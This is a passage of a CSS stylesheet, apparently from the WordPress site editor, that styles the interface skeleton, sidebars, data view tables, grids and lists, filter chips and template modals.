  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-panel__header.interface-complementary-area-header__small{
  background:#fff;
  padding-right:4px;
}
.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
@media (min-width:782px){
  .components-panel__header.interface-complementary-area-header__small{
    display:none;
  }
}

.interface-complementary-area-header{
  background:#fff;
  padding-right:4px;
}
.interface-complementary-area-header .components-button.has-icon{
  display:none;
  margin-left:auto;
}
.interface-complementary-area-header .components-button.has-icon~.components-button{
  margin-left:0;
}
@media (min-width:782px){
  .interface-complementary-area-header .components-button.has-icon{
    display:flex;
  }
  .components-panel__header+.interface-complementary-area-header{
    margin-top:0;
  }
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
  top:48px;
}
@media (min-width:782px){
  .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
    top:0;
  }
}
.interface-complementary-area p:not(.components-base-control__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:auto;
  right:10px;
  top:auto;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-left:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container{
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  max-height:100%;
  position:fixed;
  right:0;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    left:160px;
  }
}
.folded .interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    left:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  left:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
    width:auto;
  }
  .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{
    z-index:90;
  }
}

.interface-interface-skeleton__sidebar{
  overflow:auto;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    border-left:1px solid #e0e0e0;
  }
  .interface-interface-skeleton__secondary-sidebar{
    border-right:1px solid #e0e0e0;
  }
}

.interface-interface-skeleton__header{
  border-bottom:1px solid #e0e0e0;
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  left:0;
  position:absolute;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-left:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-more-menu-dropdown{
  margin-left:-4px;
}
.interface-more-menu-dropdown .components-button{
  padding:0 2px;
  width:auto;
}
@media (min-width:600px){
  .interface-more-menu-dropdown{
    margin-left:0;
  }
  .interface-more-menu-dropdown .components-button{
    padding:0 4px;
  }
}

.interface-more-menu-dropdown__content .components-popover__content{
  min-width:300px;
}
@media (min-width:480px){
  .interface-more-menu-dropdown__content .components-popover__content{
    max-width:480px;
  }
}
.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{
  padding:0;
}

.components-popover.interface-more-menu-dropdown__content{
  z-index:99998;
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.dataviews-wrapper{
  box-sizing:border-box;
  height:100%;
  overflow:auto;
  scroll-padding-bottom:64px;
  width:100%;
}

.dataviews-filters__view-actions{
  flex-shrink:0;
  left:0;
  margin-bottom:12px;
  padding:12px 32px 0;
  position:sticky;
}
.dataviews-filters__view-actions .components-search-control .components-base-control__field{
  max-width:240px;
}

.dataviews-filters__container{
  padding-right:32px;
}

.dataviews-filters-button{
  position:relative;
}

.dataviews-pagination{
  background-color:#fff;
  border-top:1px solid #f0f0f0;
  bottom:0;
  color:#757575;
  flex-shrink:0;
  left:0;
  padding:12px 32px;
  position:sticky;
}

.dataviews-pagination__page-selection{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.dataviews-filters-options{
  margin:32px 0 16px;
}

.dataviews-view-table-wrapper{
  overflow-x:auto;
}

.dataviews-view-table{
  border-collapse:collapse;
  border-color:inherit;
  color:#757575;
  position:relative;
  text-indent:0;
  width:100%;
}
.dataviews-view-table a{
  color:#1e1e1e;
  font-weight:500;
  text-decoration:none;
}
.dataviews-view-table th{
  color:var(--wp-components-color-foreground, #1e1e1e);
  font-size:13px;
  font-weight:400;
  text-align:left;
}
.dataviews-view-table td,.dataviews-view-table th{
  padding:12px;
  white-space:nowrap;
}
.dataviews-view-table td[data-field-id=actions],.dataviews-view-table th[data-field-id=actions]{
  text-align:right;
}
.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{
  padding-right:0;
}
.dataviews-view-table td .components-checkbox-control__input-container,.dataviews-view-table th .components-checkbox-control__input-container{
  margin:4px;
}
.dataviews-view-table tr{
  border-bottom:1px solid #f0f0f0;
}
.dataviews-view-table tr .dataviews-view-table-header-button{
  gap:4px;
}
.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
  padding-left:32px;
}
.dataviews-view-table tr td:first-child .dataviews-view-table-header,.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{
  margin-left:-8px;
}
.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
  padding-right:32px;
}
.dataviews-view-table tr:last-child{
  border-bottom:0;
}
.dataviews-view-table tr:hover{
  background-color:#f8f8f8;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{
  opacity:0;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate,.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:hover .components-checkbox-control__input{
  opacity:1;
}
.dataviews-view-table tr.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#757575;
}
.dataviews-view-table tr.is-selected:hover{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-table thead{
  inset-block-start:0;
  position:sticky;
  z-index:1;
}
.dataviews-view-table thead tr{
  border:0;
}
.dataviews-view-table thead th{
  background-color:#fff;
  box-shadow:inset 0 -1px 0 #f0f0f0;
  font-size:11px;
  font-weight:500;
  padding-bottom:8px;
  padding-left:4px;
  padding-top:8px;
  text-transform:uppercase;
}
.dataviews-view-table tbody td{
  vertical-align:top;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{
  align-items:center;
  display:flex;
  min-height:32px;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper>*{
  flex-grow:1;
}
.dataviews-view-table .dataviews-view-table-header-button{
  font-size:11px;
  font-weight:500;
  padding:4px 8px;
  text-transform:uppercase;
}
.dataviews-view-table .dataviews-view-table-header-button:not(:hover){
  color:#1e1e1e;
}
.dataviews-view-table .dataviews-view-table-header-button span{
  speak:none;
}
.dataviews-view-table .dataviews-view-table-header-button span:empty{
  display:none;
}
.dataviews-view-table .dataviews-view-table-header{
  padding-left:4px;
}
.dataviews-view-table .dataviews-view-table__actions-column{
  width:1%;
}
.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{
  opacity:1;
}

.dataviews-view-grid__primary-field,.dataviews-view-list__primary-field,.dataviews-view-table__primary-field{
  color:#1e1e1e;
  display:block;
  font-size:13px;
  font-weight:500;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-view-grid__primary-field a,.dataviews-view-list__primary-field a,.dataviews-view-table__primary-field a{
  color:inherit;
  display:block;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-view-grid__primary-field a:hover,.dataviews-view-list__primary-field a:hover,.dataviews-view-table__primary-field a:hover{
  color:#1e1e1e;
}
.dataviews-view-grid__primary-field a:focus,.dataviews-view-list__primary-field a:focus,.dataviews-view-table__primary-field a:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}
.dataviews-view-grid__primary-field button.components-button.is-link,.dataviews-view-list__primary-field button.components-button.is-link,.dataviews-view-table__primary-field button.components-button.is-link{
  color:inherit;
  display:block;
  font-weight:inherit;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.dataviews-view-grid{
  grid-template-columns:repeat(2, minmax(0, 1fr)) !important;
  grid-template-rows:max-content;
  margin-bottom:24px;
  padding:0 32px;
}
@media (min-width:1080px){
  .dataviews-view-grid{
    grid-template-columns:repeat(3, minmax(0, 1fr)) !important;
  }
}
@media (min-width:1440px){
  .dataviews-view-grid{
    grid-template-columns:repeat(4, minmax(0, 1fr)) !important;
  }
}
.dataviews-view-grid .dataviews-view-grid__card{
  border:1px solid #e0e0e0;
  border-radius:4px;
  height:100%;
  justify-content:flex-start;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{
  padding:4px 8px 4px 4px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__primary-field{
  min-height:40px;
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-color:var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#1e1e1e;
}
.dataviews-view-grid .dataviews-view-grid__media{
  aspect-ratio:1/1;
  background-color:#f0f0f0;
  border-bottom:1px solid #e0e0e0;
  border-radius:3px 3px 0 0;
  min-height:200px;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__fields{
  font-size:12px;
  line-height:16px;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){
  padding:0 12px 12px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#757575;
}

.dataviews-view-list{
  margin:0;
  padding:8px;
}
.dataviews-view-list li{
  margin:0;
}
.dataviews-view-list li .dataviews-view-list__item-wrapper{
  border-radius:4px;
  padding-right:24px;
  position:relative;
}
.dataviews-view-list li .dataviews-view-list__item-wrapper:after{
  background:#f0f0f0;
  content:"";
  height:1px;
  left:24px;
  position:absolute;
  right:24px;
  top:100%;
}
.dataviews-view-list li:not(.is-selected):hover,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__primary-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper{
  background-color:var(--wp-admin-theme-color);
  color:#fff;
}
.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field{
  color:#fff;
}
.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper:after,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper:after{
  background:#0000;
}
.dataviews-view-list .dataviews-view-list__item{
  cursor:pointer;
  padding:12px 0 12px 24px;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__item:focus:before{
  border-radius:4px;
  bottom:-1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
  z-index:-1;
}
.dataviews-view-list .dataviews-view-list__item .dataviews-view-list__primary-field{
  min-height:20px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  flex-shrink:0;
  height:40px;
  overflow:hidden;
  position:relative;
  width:40px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-placeholder{
  background-color:#e0e0e0;
  height:32px;
  min-width:32px;
}
.dataviews-view-list .dataviews-view-list__fields{
  color:#757575;
  display:flex;
  flex-wrap:wrap;
  font-size:12px;
  gap:8px;
  line-height:16px;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:empty{
  display:none;
}
.dataviews-view-list+.dataviews-pagination{
  justify-content:space-between;
}
.dataviews-view-list .dataviews-view-list__details-button{
  align-self:center;
  opacity:0;
}
.dataviews-view-list li.is-selected .dataviews-view-list__details-button,.dataviews-view-list li:focus-within .dataviews-view-list__details-button,.dataviews-view-list li:hover .dataviews-view-list__details-button{
  opacity:1;
}
.dataviews-view-list li.is-selected .dataviews-view-list__details-button:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) currentColor;
}

.dataviews-action-modal{
  z-index:1000001;
}

.dataviews-loading,.dataviews-no-results{
  padding:0 32px;
}

.dataviews-view-table-selection-checkbox label{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
  white-space:nowrap;
}

.dataviews-filters__custom-menu-radio-item-prefix{
  display:block;
  width:24px;
}

.dataviews-bulk-edit-button.components-button{
  flex-shrink:0;
}

.dataviews-view-grid__title-actions .dataviews-view-table-selection-checkbox{
  margin-left:8px;
}

.dataviews-view-grid__card.has-no-pointer-events *{
  pointer-events:none;
}

.dataviews-filter-summary__popover .components-popover__content{
  border-radius:4px;
  padding:0;
  width:230px;
}

.dataviews-search-widget-filter-combobox-list{
  border-top:1px solid #e0e0e0;
  max-height:184px;
  overflow:auto;
  padding:4px;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  cursor:default;
  display:flex;
  gap:8px;
  margin-block-end:2px;
  padding:8px 12px;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:last-child{
  margin-block-end:0;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item]{
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-check{
  fill:#fff;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-description{
  color:#fff;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-check{
  flex-shrink:0;
  height:24px;
  width:24px;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-value [data-user-value]{
  font-weight:600;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-description{
  color:#757575;
  display:block;
  font-size:12px;
  line-height:16px;
  overflow:hidden;
  text-overflow:ellipsis;
}

.dataviews-search-widget-filter-combobox__wrapper{
  padding:8px;
  position:relative;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
  background:#f0f0f0;
  border:none;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin-left:0;
  margin-right:0;
  padding:0 32px 0 8px;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
    font-size:13px;
    line-height:normal;
  }
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{
    font-size:13px;
  }
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{
  background:#fff;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::placeholder{
  color:#757575;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-decoration{
  -webkit-appearance:none;
}
.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__icon{
  align-items:center;
  display:flex;
  justify-content:center;
  position:absolute;
  right:12px;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}

.dataviews-filter-summary__operators-container{
  padding:8px 8px 0;
}
.dataviews-filter-summary__operators-container:empty{
  display:none;
}
.dataviews-filter-summary__operators-container .dataviews-filter-summary__operators-filter-name{
  color:#757575;
}

.dataviews-filter-summary__chip-container{
  position:relative;
  white-space:pre-wrap;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip{
  align-items:center;
  background:#f0f0f0;
  border:1px solid #0000;
  border-radius:16px;
  color:#757575;
  cursor:pointer;
  display:flex;
  height:32px;
  padding:0 12px;
  position:relative;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-reset{
  padding-inline-end:28px;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip[aria-expanded=true]{
  background:#e0e0e0;
  color:#1e1e1e;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:var(--wp-admin-theme-color);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values[aria-expanded=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip .dataviews-filter-summary__filter-text-name{
  font-weight:500;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove{
  align-items:center;
  background:#0000;
  border:0;
  border-radius:50%;
  cursor:pointer;
  display:flex;
  height:24px;
  justify-content:center;
  padding:0;
  position:absolute;
  right:4px;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove svg{
  fill:#757575;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover{
  background:#e0e0e0;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus svg,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover svg{
  fill:#1e1e1e;
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values svg{
  fill:var(--wp-admin-theme-color);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}

.edit-site-custom-template-modal__contents-wrapper{
  height:100%;
  justify-content:flex-start !important;
}
.edit-site-custom-template-modal__contents-wrapper>*{
  width:100%;
}
.edit-site-custom-template-modal__contents-wrapper__suggestions_list{
  margin-left:-12px;
  margin-right:-12px;
  width:calc(100% + 24px);
}
.edit-site-custom-template-modal__contents>.components-button{
  height:auto;
  justify-content:center;
}
@media (min-width:782px){
  .edit-site-custom-template-modal{
    width:456px;
  }
}
@media (min-width:600px){
  .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{
    max-height:224px;
    overflow-y:auto;
  }
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{
  display:block;
  height:auto;
  overflow-wrap:break-word;
  padding:8px 12px;
  text-align:left;
  white-space:pre-wrap;
  width:100%;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{
  background:none;
  font-weight:700;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{
  color:var(--wp-admin-theme-color);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{
  background-color:#f0f0f0;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{
  display:block;
  overflow:hidden;
  text-overflow:ellipsis;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{
  color:#757575;
  word-break:break-all;
}

.edit-site-custom-template-modal__no-results{
  border:1px solid #ccc;
  border-radius:2px;
  padding:16px;
}

.edit-site-custom-generic-template__modal .components-modal__header{
  border-bottom:none;
}
.edit-site-custom-generic-template__modal .components-modal__content:before{
  margin-bottom:4px;
}

.edit-site-template-actions-loading-screen-modal{
  -webkit-backdrop-filter:none;
          backdrop-filter:none;
  background-color:initial;
}
.edit-site-template-actions-loading-screen-modal.is-full-screen{
  background-color:#fff;
  box-shadow:0 0 0 #0000;
  min-height:100%;
  min-width:100%;
}
.edit-site-template-actions-loading-screen-modal__content{
  align-items:center;
  display:flex;
  height:100%;
  justify-content:center;
  left:50%;
  position:absolute;
  transform:translateX(-50%);
}

.edit-site-add-new-template__modal{
  margin-top:64px;
  max-height:calc(100% - 128px);
  max-width:832px;
  width:calc(100% - 64px);
}
@media (min-width:960px){
  .edit-site-add-new-template__modal{
    width:calc(100% - 128px);
  }
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{
  fill:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{
  align-items:flex-start;
  flex-grow:1;
}
.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{
